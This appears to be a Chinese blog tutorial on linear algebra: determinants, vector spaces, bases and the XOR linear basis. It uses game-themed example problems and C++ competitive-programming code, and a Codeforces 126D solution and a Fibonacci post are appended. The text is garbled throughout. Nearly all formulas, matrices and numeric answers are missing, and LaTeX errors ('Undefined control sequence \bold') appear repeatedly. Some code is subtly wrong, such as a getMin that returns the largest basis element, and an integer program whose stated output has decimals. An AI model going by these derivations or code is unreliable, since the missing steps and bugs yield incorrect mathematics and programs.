算法设计：首先将各个描述词用未知数表示出来，再用数学关系表示出题干中各个描述词的关系，如此得到的 5 个方程恰好能使矩阵有唯一解。因为一般的方程可以写成的形式，所以求出的逆矩阵，再对常数项组成的列向量进行左乘即可。

解：设“大树长成雨林”、“树木从种子长成大树”、“兰那罗从种子变成大树”、“落落莓从扎根到成熟” 以及“普通人从少年到老年” 的时间分别为年。根据题干描述。可以得到如下关系：

整理得：

对应系数矩阵。常数矩阵，未知数矩阵。对应方程为。

两侧同时乘以得：。根据逆矩阵求法，初始矩阵为：

高斯消元后，将消成形式，得：

的逆矩阵就是：

根据方程，得到，此时：

解得：

因此，“大树长成雨林” 的时间是年、“树木从种子长成大树” 需要年、“兰那罗从种子变成大树” 需要年、“落落莓从扎根到成熟” 需要年、“普通人从少年到老年” 需要年。

最后，森林会记住一切。

第五节行列式的性质#

感谢初等矩阵的加持，我们需要记背的知识点又多了不少呢……

我们在第三节说了，用余子式计算矩阵行列式时，需要按照同一列或者是同一行展开。为什么不能沿对角线或者是其他花里胡哨的顺序算余子式呢？下面有个引理告诉你原因：

设为的方阵，表示的代数余子式，则：

不难发现，的情况就是沿同一列的余子式展开。假如，原式就是沿第一行、从第一列到第列元素的余子式之和。而这恰好是一个矩阵的余子式展开（人家行列式就是这么算出来的，肯定是对的），因而结果等于。当时，就是上边说的花里胡哨的展开。为了证明它，我们假设一个新的矩阵。它的第行被替换成原矩阵的第行，这样的话这个余子式展开就是的正确的余子式展开，也就是说它的结果等于。然而有两行是相同的，也就是说它不可逆（最简阶梯形的最后一行全为 0），因而，结果也就是。

假如，那如果有一个初等矩阵左乘它进行行变换，乘积的行列式是否也等于呢？接下来就来探究这个问题：

假如为一个的第 I 类初等矩阵，且是单位矩阵交换第一、二行得来的。假设为一个的方阵。那么，那么，而，所以。

推广到矩阵，假设方阵是交换一、三行得来的。那么按照第二行展开余子式就是：。

根据矩阵行列式的性质有。

因此对于的方阵，交换其中两行对行列式的影响是改变其符号。其余两类矩阵自行证明，总规律如下：

，且是第类初等矩阵且是第类初等矩阵是第类初等矩阵

也就是说，交换矩阵两行，其行列式变号；对某一行乘以一个数，行列式的值也乘；将某一行减去另一行的非零倍，行列式不变。至此我们便将行列式把初等行变换联系起来了。在算法中，我们不必去计算余子式，而是通过简单的高斯消元来计算行列式。事实上，利用代数余子式，其时间复杂度大约是的；而利用高斯消元求解行列式，时间复杂度就是高斯消元的。我们又有如下定理：

对于一个的上三角形矩阵，其行列式。

对角线矩阵也是同理，计算它们的行列式只需要将主对角线上的元素累乘起来。当矩阵对应的方程组无解或者是有无数组解时，其行列式就一定是。

第六节行列式在高中数学中的应用#

这一节的内容是 2024 年 11 月份新加入的。是适合高中生体质的快速解题技巧。

一. 向量叉乘/平行四边形面积#

例题详见：2024 年新高考一卷 T16。

高中立体几何学了向量数量积/点乘，定义如下：

其中是两向量间的夹角。结果为标量（实数）。

类比点乘，我们定义叉乘为：

模长为，方向与参与运算的所有向量垂直的向量。
意义同上。结果为矢量（新向量）。

观察到这个模长很像正弦定理中三角形面积公式。事实上，这个结果代表两向量围成的平行四边形面积，因此。那我们怎么去计算这个结果呢？有人会说：“那不是还要算，更麻烦了吗？”

联想到本节标题，其实二维向量叉乘是可以用方阵的行列式来算的。把三角形的两边用向量表示出来组成一个方阵，于是。

不到万不得已，考试时千万别用这一招，如果一定要用，请一定记住写出下面的证明过程才能保证不扣分或者扣分少一点。

证明：

从的计算方法开始，三角形中（注意区间表示实数，不能写作），得出。

那么：

此时将坐标代入得：

得证。

做题时又会发现，围成三角形的是两个三维空间向量，难道要用矩阵求行列式吗？

答案是否定的，事实上我们可以想办法把它补充成一个完整的方阵。具体来说就是在第一行加入这个三维空间的基底向量，然后稍作变化。例如求解和围成的三角形面积：

我们可以加入基底向量，或者一般地，，然后组合成矩阵：

展开得：

那是否意味着答案就是呢？不是这样的，正确答案约为，是什么造成了结果偏差呢？

首先方法本身是正确的，只是最后不能直接求和加绝对值！这也是把基底向量设为的好处所在。实际上我们的展开式应该是这样子的：

相当于叉积的结果是一个新向量，求模长得，于是，答案正确。

二. 平行六面体体积#

例题详见：《步步高一轮复习 83 练 2024 人教 A 版》 P355 T6

类比平行四边形，空间平行六面体也是可以用这个方法的。证明过于繁杂，不放了。事实上你可以用这个巧办法进行伪算，然后反解出一系列数值写到卷子上……对于由同样的三个三维向量围成的三棱锥，它的体积就应该是同向量构成的平行六面体的。见下图：

三个等体积的三棱锥恰好填充了平行六面体的一半体积，即三棱锥体积是平行六面体的六分之一。手算时就可以用到先前介绍的代数余子式法选择零最多的行/列进行运算。

化学竞赛有时也会用行列式来求解平行六面体晶胞体积。事实上，任何由个维线性无关向量围成的几何体的体积都可以用行列式计算其体积。

例 3.6.1 Obsidian Opalstar 黑曜石奶奶#

正如其他的占卜师那样，大名鼎鼎的「黑曜石奶奶」茜特菈莉在占卜前会也摆出各种各样的黑曜石晶体。然而她不同于普通占卜师的一点是——她的黑曜石可能来自于其他维度！其维度的高低、黑曜石在所处维度空间中的体积大小都取决于要占卜的事件。现在，你想让她帮你占卜一下“我什么时候能掌握线性代数”这一问题。茜特菈莉当然不会让你这么简单就得到她的回答，除非你能马上计算出她所用黑曜石的体积……
已知茜特菈莉所用的黑曜石是一块由个四维向量围成的几何体，这四个向量分别是（单位：cm），你能从她嘴里得到问题的结果吗？

问题分析：对于人工计算，可以选用代数余子式展开；对于计算机，可以使用高斯消元求解行列式。

解：问题即求解矩阵

的行列式的绝对值。根据代数余子式展开得，则答案为。

洛谷例题：

第四章向量空间#

第一节欧几里得向量空间#

简称欧氏空间，Undefined control sequence \bold 表示一个维欧氏空间。我们在高中立体几何部分接触了向量在空间内的表示方法，一般来说它们都使用行向量表示一个由原点指向的向量。线性代数中为了区分，大多数时候使用列向量来表示与上边相同的行向量。

如果仅把描述成由原点指向的有向线段，显然是不太合理的。根据向量知识，一段由指向的有向线段也可以用来表示。因此对于一个列向量，它可以在对应维度空间内画出无数个起点和终点各不相同的向量图像来。如果根据这个原理，列向量表示法就失去了唯一性……

事实不然，我们发现，无论这个向量的起点如何变化，它们的方向（辐角）、长度（模长）相同，它们可以经过平移变换成同一个向量。只要确定以上这两项的值，一个维向量也就随之确定了。

（向量可以通过平移变为向量，这两个向量是相等的，都可以用表示）

根据勾股定理可以计算出向量的长度，这叫做向量的模长，的模长一般写作，数值上等于。若是 Undefined control sequence \bold 上的一个普通向量，就有。这些是我们高中时期就学习过的内容。

高中数学教材在虚数那一章还有一个选学知识（2023 版）——辐角。尽管它标成“选学”，其实我们早在三角函数的几何表示里就接触过辐角了：一个起点是原点的向量可以看作是它从轴正半轴逆时针旋转得来的，这里的就是向量的辐角。它很有用——是中单位根操作的灵魂，被广泛用于电子设备的自然信号处理，你桌面美化包里的频谱图的底层实现就是算法。

向量的数乘运算：辐角不变，模长相乘。

图示：

（）

向量的加法，参见高中物理合力与分力的知识。矢量（既有方向又有大小的量）的加法遵循平行四边形法则

图示：

即以要进行加法的两个共起点向量为平行四边形的相邻边，做出完整的平行四边形，它们的和向量的起点与前两个向量起点相同，终点是平行四边形的对角顶点。上图中。

和平行四边形法则等价的还有三角形法则：

即将其中一个向量的起点平移到另一个向量的终点处，和向量的起点是后者的起点，终点是前者的终点。上图中，注意向量的字母表示有先后顺序，因此不可颠倒变成，事实上。

在向量表示中：。因此向量相加，坐标相加。

减法则是坐标相减，将减数向量做反向同模长的反向量再进行加法运算即可。

由于矩阵可以拆分成一个个列向量和行向量，而且矩阵的加法与数乘均与刚刚介绍的向量的加法与数乘规则相同。因此矩阵具备表示向量组的条件，称之为向量空间。向量空间中定义的加法和数乘需要满足如下几条（假设 Undefined control sequence \bold 为向量，为标量 / 常数）：

Undefined control sequence \bold
Undefined control sequence \bold
Undefined control sequence \bold
Undefined control sequence \bold
Undefined control sequence \bold
Undefined control sequence \bold
Undefined control sequence \bold
Undefined control sequence \bold

好多啊 ccc，其实就是需要把“加法” 定义成正统的加法（满足交换律、结合律）；“数乘” 定义为正规的数乘（满足结合律、分配律，没有交换律）。可以发现矩阵的加法和数乘和它完美匹配！因此矩阵可以作为一个向量空间。

于是，向量空间中的元素称作向量。因为这个空间需要包罗万象，就像宇宙空间要包含我们赖以生存的地球一样……它包括我们所需要的向量，因此向量运算最基本的两种——加法与数乘运算所导出的结果必须也在向量空间内，这叫做向量空间内加法和数乘的封闭性，向量空间必定符合这个性质。如此一来，向量空间就足以作为向量所生存的“宇宙空间” 了。

当然有时我们并不需要那么多空间，好比一个人住一个城市……先不提城市各项环节能否正常运作，如果只是用来溜达的，那也是太过巨大了，有些地方可能你一辈子也取不到，还不如开始就不要。向量空间其实也可以像这样压缩范围，并且压缩后的向量空间也必须是全集的子集。根据向量空间的定义，该空间内的向量做任意加法和数乘运算得到的结果都得是空间内的向量。

若向量空间的子集满足加法和数乘运算的封闭性，那么是的一个子空间。特殊地，Undefined control sequence \bold 与都是的子空间，Undefined control sequence \bold 称作零子空间，其他非零且不等于的子空间称作真子空间（类比集合的空集、子集和真子集概念）。

在矩阵中，也存在零空间。它表现为矩阵方程 Undefined control sequence \bold 在 Undefined control sequence \bold 上的解集。我们首先验证数乘封闭性，Undefined control sequence \bold；紧接着是加法封闭性：Undefined control sequence \bold。封闭性得证，因此是的子空间。这种空间被称作矩阵的零空间，通常用表示的零空间。

例 4.1.1 Merusea Village Portal 海露村传送门#

自从你来到枫丹，知晓了水仙十字结社的秘密之后，奇怪的事情开始在你身边上演……
你在海露村遇见了抽象派美露莘大画师玛梅赫、以及一只发条机关狗西摩尔。很不巧，玛梅赫的作画颜料用完了，于是你们前去收集更加纯净的矿物颜料，期间玛梅赫邀请你们进入一个粉色的漩涡虫洞。或许是因为你前一天冒险到深夜，在这个温暖且舒适的环境下来了困意。一闭眼，再一睁眼，迎接你的不是如同往常一般的新地下区域 —— 而是一片温暖的、舒适的粉色幻境 —— 你被一个人丢在这个传送通道里了！
为了不让派蒙着急，同时也为了你能尽快在下一次困意席卷前逃出这个空间，你需要确定这个传送门是否为“同维度空间卷曲型”—— 即传送过程中不发生维度的变化。你需要证明你身处的空间是一个三维空间的子空间，这样才能使用正确的方法逃出生天。你发现你的身高和体宽的比值是原来的一半、但是体宽不变。请证明你所在的空间是是三维空间的子空间。

问题分析：首先要根据已有的信息判断该向量空间是否为三维向量空间的子集，然后再验证加法与数乘的封闭性，只有当二者均成立时才能够证明该空间是三维空间的子空间。

算法设计：根据题干最后一句话，我们不妨将主人公设为三维坐标系原点，按照三个坐标轴来建立变换关系。比如说“身高体宽比减半” 代表的是现在的轴是轴的一半，假设原身高在轴上有个单位，而现在只有两个单位，证明现在的轴被拉伸了一倍。最后关于封闭性的证明，设出几个具有普遍性的向量证明即可。

解：根据变换关系，得到该向量空间的集合形式。因此为 Undefined control sequence \bold 的子集，令，数乘：；令，，，封闭性得证。

因此，所在空间是三维空间的一个子空间。

第二节基底、张成与张集#

假设 Undefined control sequence \bold 中有向量，那么称作向量的线性组合。向量的所有线性组合构成的集合叫向量的张成。

我们都知道，个不共线向量唯一确定一个维平面。假如有向量：和。它们的张成就是（注：最好是验证两个向量在三维空间里的张成，既直观还符合常规认知）它们围成的维平面。方才的和的张成如下图：

如果，则称张成。用表示。有以下两条性质：

若，则为的子空间
向量平面中一组向量的张成是中包含这组向量的最小子空间

对于第一条，因为你怎么拟合平面，都不可能让你的平面比整个空间的维度更高，而且无论以什么系数搭配向量，它们所得的新向量都在整体空间内，第一条就能很简明的证明了。第二条性质，首先空间内向量的张成必为整个空间的子空间，毕竟用的都是数乘和加法，用的向量也都在空间内，总不能算一下加法向量就跑到空间外边去了吧，此外，因为数乘和加法的封闭性，任何经过这两个向量的空间都包含其张成，因此它是最小的。

l和张成相对，如果张成，则是的张集。

基底，大家在高中立体几何部分学过了。当时的定义是：平面内不共线的两个向量叫做这个平面的一组基底。然而这段话可以用线性代数的语言原原本本描述出来：

在维向量空间中有个线性无关的向量，则称它们是向量空间的一组基。

线性无关的概念，之前已经简单讲过，总的来说就是向量不共线，即不存在标量，使得；线性相关则反之，指的是两个向量共线，即成立。正如在高中课堂上学的一样，给出一个维空间的一组基底，该空间上所有的向量都可以用这组基底唯一地表示出来。比如下边这个例子：

例 4.2.1 Al-Ahmar’s Test 赤王的试炼#

你和婕德一行人在圣显厅前击败了图谋不轨的镀金旅团，并在他们搭起的营帐里发现了一封密信。上面写着若想进入圣显厅，需先过三关试炼。为了能够一探黄金梦乡的秘密，你接下了完成三重试炼的任务，然而当你真正进入到第一重试炼时，却发现事情并没有这么简单……
你进入了试炼场地，却发现整个世界天旋地转。最终安定下来，你发现赤王的神奇科技把你带入了一个维空间内。这还没完，四周又有整齐排列的空气墙阻挡了你的通路。经过好一顿摸索，你终于发现这是一个维空间，于是你开始建立空间坐标系，五个坐标轴分别是，假设你现在所在的地方是原点，通关点。四周的空气墙限制了你仅能沿着与向量平行的方向行动。请问如何安排前进方向使得你能够从起点到达终点？

问题分析：这个问题明显是让我们用来表示出从起点（原点）到终点的一个向量，因为这五个向量不共线，可以作为五维向量空间的一组基底。又因为基底可以唯一地表示出平面上的所有向量，考虑列方程组求解每个基向量的系数关系。

解：明显地，题中五个向量互相线性无关，因此可以作为该平面的一组基。由于向量加法和数乘运算的封闭性，且路径向量在该平面上，因此可以拆分成这些基向量的倍数和形式。

设，则有方程组，方程组的解：

因此，应在方向上移动，在方向上移动，在的反方向上移动，在方向上移动，在的反方向上移动就可以到达终点。

因此一旦选定了平面的基底，该平面上所有的向量都可以用这组基底唯一表示出来，具体操作是使待求向量，接着解方程求出系数的值即可。在高中，我们称之为“待定系数法”。

基底可以表示平面内所有的向量，故维平面的基张成。

第三节线性变换在高中数学中的应用#

本节是 2024 年 12 月 29 日新加入的内容。是适合高中生体质的快速解题技巧。

一、基底法#

在开始之前，我认为有必要再为读者回顾一下高二上册空间向量的相关内容。

有时，我们拿到的题目里不存在很明显的直角关系。设想这么一个平行六面体——它的底面是一个夹角为的菱形，侧棱与底面棱的夹角均为。如下图：

上图中，，所有棱的长度均为。题目可能让我们求出各种线段的长度，或者是某对异面直线的夹角（余弦值）。此时最常规的方法是基底向量法，即选择三个不共线的向量作为空间的基底，并将待求直线用这三个基底向量表示出来，接着利用角度关系即可求解。

一般来说将平行六面体的三条棱设置为基底会方便一些，因而空间中有基底向量。例如我们现在要求解线段的长度，先用所设基底表示它：。向量模长即为。

又或者，我们想要求出异面直线和夹角的余弦值。根据公式可得，即两直线垂直。

像这样，根据角度关系巧妙设置基底、将一些向量用基底的线性组合表示，并进行计算的方法就叫做基底法。在存在特殊角度关系而难以建立空间直角坐标系的时候非常好用。

二、线性变换#

我们先从平面直角坐标系入手，找到一般规律。假设我们有一组平面上的正交（垂直）单位基底。并且有两个向量，可以很轻松地得知。那么两个向量的数乘就是。由于，那么结果就是，即坐标对位相乘。

事实上，对于和的夹角不为直角，而是特殊角的情况，根据上面的公式，我们可以得到平面斜角坐标系的数乘公式：。

第四节线性基#

本节主要是算法竞赛内容。

第二节里我们讲了向量空间的基底，基底其实还有一个名称叫线性基。平面中所有向量唯一对应一种基底的线性组合。在 OI 中常常被用于求第大异或和的问题。为了和实数四则运算的线性基区分，这种线性基下称异或线性基。此节针对于 OI 算法，因此本节所述的“线性基”均默认为“异或线性基”。

一组值的异或和可以看做该空间内异或线性基的向量的异或组合，由于基底表示向量的唯一性：原集合中的数可以通过异或线性基里的基向量唯一确定。它有如下几个性质，事实上，它和普通平面内的实数线性基有相似之处：

原序列中任何元素都可以通过异或线性基内的元素异或得到
异或线性基不存在重复元素，且在保证性质一的前提下，它的元素最少

异或运算也有一个特殊性质，若，则

根据以上性质构造计算方法：

1
void insert(ll x)
2
{
3
    for (int i = 63; i >= 0; i--) {
4
        if ((x >> i) & 1) { // 要存放的数的当前位为1
5
            if (!p[i]) {
6
                p[i] = x; // 异或线性基该位为0，二进制下该位置为1
7
                break; // 已找到位置存放，退出循环
8
            }
9
            x ^= p[i]; //  异或线性基该位为1，为化为下三角形矩阵形式方便计算置为0
10
        }
11
    }
12
}

由于一般题目中数据范围是 1e18，而转换为二进制位就有位，因此数据类型最好选用无符号长长整型 unsigned long long，线性基 p 数组至少需要 60 位。

有时并不是所有的插入操作都会成功，因为要保证异或线性基里的向量互相线性无关。存储操作本质上是拆分二进制位，然后将它尽量表示为已有基向量的异或和，好像除去每个人身上的共同特征，只保留人的独特个性一般。如果拆到最后再也拆不了了，证明它是独特的，可以加入其中。反之，这个数就可以被其他数通过异或运算代替，没必要加它，返回插入失败。可以有下面的代码：

1
bool insert(ll x)
2
{
3
    for (int i = 63; i >= 0; i--) {
4
        if ((x >> i) & 1) {
5
            if (!p[i]) {
6
                p[i] = x; // 异或线性基该位为0，二进制下该位置为1
7
                break; // 已找到位置存放，退出循环
8
            }
9
            x ^= p[i]; //  异或线性基该位为1，为化为下三角形矩阵形式方便计算置为0
10
        }
11
    }
12
    return x; // 若被异或分解为0，则证明它可以被现有元素计算得到，为保证异或线性基元素互相线性无关，不予插入
13
}

如果是求一个数能否被这个异或线性基表示出来，将最后一行改为 return !x; 即可（能表示即不可插入，不能表示即可以插入）。若某次插入失败，证明 Undefined control sequence \bold 可以被表示出来，在求最小值是要额外关注！我们在此维护一个布尔值 flag = false，在插入失败后设为 true 表示需要特判。

线性基用于求解一组数的异或和最值问题，有下面求最值的三个例子。它们无一例外使用了贪心法：

一. 求最大值#

1
ll xorMax()
2
{
3
    ll ans = 0;
4
    for (int i = 63; i >= 0; i--) {
5
        ans = max(ans, ans ^ p[i]);
6
    }
7
    return ans;
8
}

为什么从高位开始遍历？我们都知道如果一个数字的某位数大于另一个数字相同位置的数（两数数量级相同，即十进制下位数相同），那么前者是大于后者的。根据异或的运算法则：“不同为，相同为 ”。如果 ans 的高位此时是 0，若进行异或运算的同位数字是 0，即二者相同，结果为 0，不会变得更小；反之若异或运算的对应二进制位为 1，当前位异或结果是 1，变大了，因此；如果 ans 高位为 1，运算数对应位为 0，结果为 1，不会变得更大；若运算数当前位是 1 异或结果为 0，变小了，所以。

二. 求最小值#

1
ll xorMin()
2
{
3
    ll ans = 0;
4
    if (flag)
5
        return 0; // 特判0
6
    for (int i = 0; i <= 63; i++) {
7
        if (p[i])
8
            return p[i];
9
    }
10
}

我们知道，可以通过任意组合（异或运算）异或线性基中的元素来得出各种新的元素，若 Undefined control sequence \bold 无法被表示出来，我们找到异或线性基里最小的元素即可，因为异或线性基里的每个元素也是原序列中某些元素的异或和；反之返回。

三. 求第小值#

这才是异或线性基的高级玩法

为了求第小值，首先要对异或线性基进行一轮清扫。将它高斯消元化简为最简形式，称作重构 rebuild。

1
void rebuild()
2
{
3
    for (int i = 63; i >= 0; i--) { // 从高位开始按位扫
4
        for (int j = i - 1; j >= 0; j--) { // 遍历右移
5
            if ((p[i] >> j) & 1)
6
                p[i] ^= p[j]; // 保证p[i]是异或线性基里第i位最小的那个，通过不断异或可以变小
7
        }
8
    }
9
}

接着我们需要特判，如果每一次插入都可以成功进行，向量之间互相线性无关，也就无法表示 Undefined control sequence \bold。在求小值时，若，也就是说求最小值，明显应该返回，如果按照常规思路返回就是错误的，因为这个做法的前提是。所以如果先前的插入操作出现失败的情况，就要对进行特判，原先的实为：

1
ll queryKMax(ll k)
2
{
3
    if (k == 1 && flag)
4
        return 0; // 特判
5
    if (flag)
6
        k--; // 特判0，f(k)实为f(k-1)
7
    rebuild(); // 重构异或线性基
8
    ll ans = 0;
9
    for (int i = 63; i >= 0; i--) {
10
        if (p[i]) {
11
            // 对k进行二进制分解
12
            if (k & 1)
13
                ans ^= p[i]; // 位为1，异或
14
            k >>= 1;
15
        }
16
    }
17
    return ans;
18
}

展开收起

除了求值，异或线性基还可以合并，甚至于求它和另一个异或线性基的交集与并集。所以异或线性基是一种数据结构。我把它封装在一个结构体 XorBase 里：

1
struct XorBase {
2
    ll p[64];
3
    bool flag;
4

5
    XorBase()
6
    {
7
        flag = false;
8
        memset(p, 0, sizeof p);
9
    }
10

11
    bool insert(ll n)
12
    {
13
        for (int i = 63; i >= 0; i--) {
14
            if ((n >> i) & 1) {
15
                if (!p[i]) {
16
                    p[i] = n;
17
                    break;
18
                }
19
                n ^= p[i];
20
            }
21
        }
22
        if (!n)
23
            flag = true;
24
        return n;
25
    }
26

27
    void rebuild()
28
    {
29
        for (int i = 63; i >= 0; i--) {
30
            for (int j = i - 1; j >= 0; j--) {
31
                if ((p[i] >> j) & 1)
32
                    p[i] ^= p[j];
33
            }
34
        }
35
    }
36

37
    ll getMin()
38
    {
39
        if (flag)
40
            return 0;
41
        for (int i = 63; i >= 0; i--) {
42
            if (p[i])
43
                return p[i];
44
        }
45
    }
46

47
    ll getMax()
48
    {
49
        ll ans = 0;
50
        for (int i = 63; i >= 0; i--) {
51
            ans = max(ans, ans ^ p[i]);
52
        }
53
        return ans;
54
    }
55

56
    ll MaxK(ll k)
57
    {
58
        if (k == 1 && flag)
59
            return 0;
60
        if (flag)
61
            k--;
62
        rebuild();
63
        ll ans = 0;
64
        for (int i = 63; i >= 0; i--) {
65
            if (p[i]) {
66
                if (k & 1)
67
                    ans ^= p[i];
68
                k >>= 1;
69
            }
70
        }
71
        return ans;
72
    }
73
};

展开收起

四. 并集#

思路就是枚举异或线性基的内容，将其中元素全部加入到中。

1
XorBase Union(XorBase A, XorBase B)
2
{
3
    XorBase res = B;
4
    for (int i = 0; i <= 63; i++) {
5
        if (A.p[i]) {
6
            res.insert(A.p[i]);
7
        }
8
    }
9
    return res;
10
}

五. 交集#

如果一个异或线性基里的元素插入到另一个异或线性基里会失败，则将它插入到交集异或线性基中。

1
XorBase Intersect(XorBase A, XorBase B)
2
{
3
    XorBase res;
4
    for (int i = 0; i <= 63; i++) {
5
        if (A.p[i]) {
6
            if (!B.insert(A.p[i]))
7
                res.insert(A.p[i]);
8
        }
9
        if (B.p[i]) {
10
            if (!A.insert(B.p[i]))
11
                res.insert(B.p[i]);
12
        }
13
    }
14
    return res;
15
}

展开收起

例 4.3.1 DMG Bonus 打核爆#

作为一名资深神原玩家，你希望能在新限定五星角色初进卡池时尽快拿下全网首个 999w 核爆记录，以此证明自己的实力。现在你已经在游戏里做好了很多伤害加成型的食物，准备在 boss 战时一展身手。战斗开始时，你首先给角色吃下了基础食物（每局开始前必吃的食物），它的效果是在 300 秒内单角色爆发伤害增加，但是同时它有一个副作用……
基础食物生效期内，如果角色吃下其他伤害加成型的食物，总伤害加成的百分比数值将是各种食物的伤害百分比数值的异或之和，即，表示，为异或符号。各种食物的伤害加成在下边给出，如果不吃任何加成型食品（也不吃基础食品），爆发伤害期望值为。吃完所有食物后，如果你用增伤角色施加了的爆发增伤。请问你的最大爆发伤害能否达到，即？若不能，最高伤害是多少？（令每种食物只有一份，且食物效果均可叠加，结果四舍五入到万位）

编号	加成效果
1	270%
2	200%
3	280%
4	200%
5	180%
6	150%
7	75%

问题分析：题干信息已经很明显了，这是一道异或线性基的最大和问题。根据上文所述程序计算即可。

算法实现：这里使用的是结构体封装版本的异或线性基计算代码：

1
#include <bits/stdc++.h>
2
using namespace std;
3

4
typedef unsigned long long ll;
5

6
struct XorBase {
7
    ll p[64];
8
    bool flag;
9

10
    XorBase()
11
    {
12
        flag = false;
13
        memset(p, 0, sizeof p);
14
    }
15

16
    bool insert(ll n)
17
    {
18
        for (int i = 63; i >= 0; i--) {
19
            if ((n >> i) & 1) {
20
                if (!p[i]) {
21
                    p[i] = n;
22
                    break;
23
                }
24
                n ^= p[i];
25
            }
26
        }
27
        if (!n)
28
            flag = true;
29
        return n;
30
    }
31

32
    void rebuild()
33
    {
34
        for (int i = 63; i >= 0; i--) {
35
            for (int j = i - 1; j >= 0; j--) {
36
                if ((p[i] >> j) & 1)
37
                    p[i] ^= p[j];
38
            }
39
        }
40
    }
41

42
    ll getMin()
43
    {
44
        if (flag)
45
            return 0;
46
        for (int i = 63; i >= 0; i--) {
47
            if (p[i])
48
                return p[i];
49
        }
50
    }
51

52
    ll getMax()
53
    {
54
        ll ans = 0;
55
        for (int i = 63; i >= 0; i--) {
56
            ans = max(ans, ans ^ p[i]);
57
        }
58
        return ans;
59
    }
60

61
    ll MaxK(ll k)
62
    {
63
        if (k == 1 && flag)
64
            return 0;
65
        if (flag)
66
            k--;
67
        rebuild();
68
        ll ans = 0;
69
        for (int i = 63; i >= 0; i--) {
70
            if (p[i]) {
71
                if (k & 1)
72
                    ans ^= p[i];
73
                k >>= 1;
74
            }
75
        }
76
        return ans;
77
    }
78
} A;
79

80
int main()
81
{
82
    ios::sync_with_stdio(false);
83
    cin.tie(0);
84
    cout.tie(0);
85

86
    int n;
87
    cin >> n;
88
    for (int i = 1; i <= n; i++) {
89
        int x;
90
        cin >> x;
91
        A.insert(x);
92
    }
93
    cout << (1400000 * (A.getMax() + 60 + 70) / 100) << endl;
94
    return 0;
95
}

展开收起

运行代码，在输入框输入：

结果输出：8162000.000。小于所给的。因而不能达到目标，最高伤害 816 万。

洛谷例题：

后记 & 鸣谢#

本文的灵感来源正是例 1.4.1，感谢这样的高智商解谜让我沉迷于线性代数无法自拔。

本文的结构安排和部分证明过程均借鉴了所著《线性代数》（原书第十版），并加以个人的理解和 OI 算法方面的拓展。如有偏颇之处烦请指出，不胜感激！

感谢 @Brailliant11001 为本文例 2.2.1 进行答案检验；@HYLW 为本文 1.3 节消元步骤进行查验；向量空间部分图片取自知乎，其余图片资源引用时请注明出处；章节例题/代码均为原创，如有错漏之处可私信我指出。

CF 126D - Fibonacci Sums 题解

Thu, 31 Oct 2024 12:56:37 GMT

Done

您已获得最佳的阅读体验！

题目地址：CF 126D

题目难度：省选/NOI-

计算一个整数被分解成若干个各不相等的Fibonacci数列中的数的方案。

前置齐肯多夫定理#

齐肯多夫定理的内容是：

任何正整数都可以被表示成若干不连续的斐波那契数之和（除外）

而对于一个正整数，我们可以按照二进制分解的策略：先贪心地找到一个最大的满足，然后用减去，以此类推直到减为。

斐波那契数列一般定义为：，这里我们做一个整体左移，本文所述的斐波那契数列应是数列，也就是。

类比二进制，齐肯多夫分解是可以用一个串表示出来的。例如：。因此它的齐肯多夫拆分就是：。

不难发现，按照贪心策略计算出的拆分是不会存在相邻的两个的。因为一旦出现连续的，都可以遵循斐波那契数的定义把它变为一个更大的斐波那契数。

回归正题#

假如我们现在已经得到了一个齐肯多夫拆分，如何计算题目要求的方案总数呢？

可以利用“标准齐肯多夫拆分中不存在相邻 ”的结论。对于原串的一个模式串 *100*（星号代表任意串），我们可以拆成 *011*。如果在末尾的后还有更多的，那其实也是可以再次拆分的。

注意到要求方案数，考虑动态规划。我们用表示拆分中第个的出现位置，并令状态转移方程为，表示选择是否删除位后的总方案数。

接下来考虑当前状态从何而来。如果选择不删当前这一位，答案只能从前一位那里贡献而来，也即。

如果选择删除这一位，对于接下来的操作，我们仍然可以选择删除或不删除。发现删到最后整个字符串一定是像 101010101 这样交错排列的。于是可以得到：

1
#include <bits/stdc++.h>
2

3
#define N 90
4
using namespace std;
5

6
typedef long long ll;
7

8
vector<int> pos;
9
ll fib[N];
10
ll dp[N][2];
11

12
void init() {
13
    fib[1] = fib[2] = 1;
14
    for (int i = 3; i < N; i++) fib[i] = fib[i - 1] + fib[i - 2];
15
}
16

17
int solve(ll x) {
18
    pos.clear();
19
    for (int i = N - 1; i >= 1; i--) {
20
        if (!x) break;
21
        if (fib[i] <= x) {
22
            x -= fib[i];
23
            pos.push_back(i - 1);
24
        }
25
    }
26
    reverse(pos.begin(), pos.end());
27
    return pos.size();
28
}
29

30
int main() {
31
    ios::sync_with_stdio(false);
32
    cin.tie(nullptr);
33
    cout.tie(nullptr);
34

35
    int t;
36
    cin >> t;
37
    init();
38
    while (t--) {
39
        memset(dp, 0, sizeof dp);
40

41
        ll x;
42
        cin >> x;
43
        int len = solve(x);
44
        dp[0][0] = 1;
45
        dp[0][1] = (pos[0] - 1) / 2;
46
        for (int i = 1; i < len; i++) {
47
            dp[i][0] = dp[i - 1][0] + dp[i - 1][1];
48
            dp[i][1] = dp[i - 1][0] * ((pos[i] - pos[i - 1] - 1) / 2) + dp[i - 1][1] * ((pos[i] - pos[i - 1]) / 2);
49
        }
50
        cout << dp[len - 1][1] + dp[len - 1][0] << endl;
51
    }
52
    return 0;
53
}

展开收起

CF 通过记录

Bunny Jump——斐波那契数列

Wed, 30 Oct 2024 12:44:01 GMT

序#

斐波那契数列是一个很有意思的东西，它的每一项都由前两项的和导出，即对于，有。入门算法时，尤其是刚开始涉及递归函数时，你可能就已经写过求解斐波那契数列通项的函数了。基于递归的算法会将当前数分为两个较小的数，然后继续分解直到变为。一般来说，这样的算法复杂度是的，极其不友好。我们会选择从定义出发，也就是使用循环结构来递推。等到了提高组，你会发现这个算法也不是最优的，稍微了解线性代数（此处尤指矩阵乘法）后，你会发现斐波那契数列的通项可以由下面这个矩阵递推式给出：

如果你熟悉数学，尤其是对生成函数有一定了解，那么你一定知道下面这个关于斐波那契数列的生成函数：

生成函数作用可大，能够快速求出数列对应项的系数。经典的“换硬币问题”就可以使用生成函数快速求解。对生成函数进行一番操作后，你会得出它的通项公式：

在计算机中会涉及到精度问题，因此我们一般使用复杂度为的矩阵快速幂做法。接下来我们将对斐波那契数列进行一个深入的信息学方面的探究。

齐肯多夫表示法#

众所周知，二进制是一种计数系统，即用 0/1 表示所有的数。那么对于斐波那契数列里的数，是否也有这样的优美性质呢？答案是肯定的，齐肯多夫证明了所有的数都可以被分解成若干斐波那契数的和，例如。拆分方法跟二进制分解相同，找到小于等于目标数的第一个斐波那契数，并减去，重复该过程直到被分解完毕。

与二进制一样，我们也用一个 01 串来表示分解的结果。第位对应着分解出的和式中包含项，因此上例可以表示成：。

CF 126D - Fibonacci Sums#

